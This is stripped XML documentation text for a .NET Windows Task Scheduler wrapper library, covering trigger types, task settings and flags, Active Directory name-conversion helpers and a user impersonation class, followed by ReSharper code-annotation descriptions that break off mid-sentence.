Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure 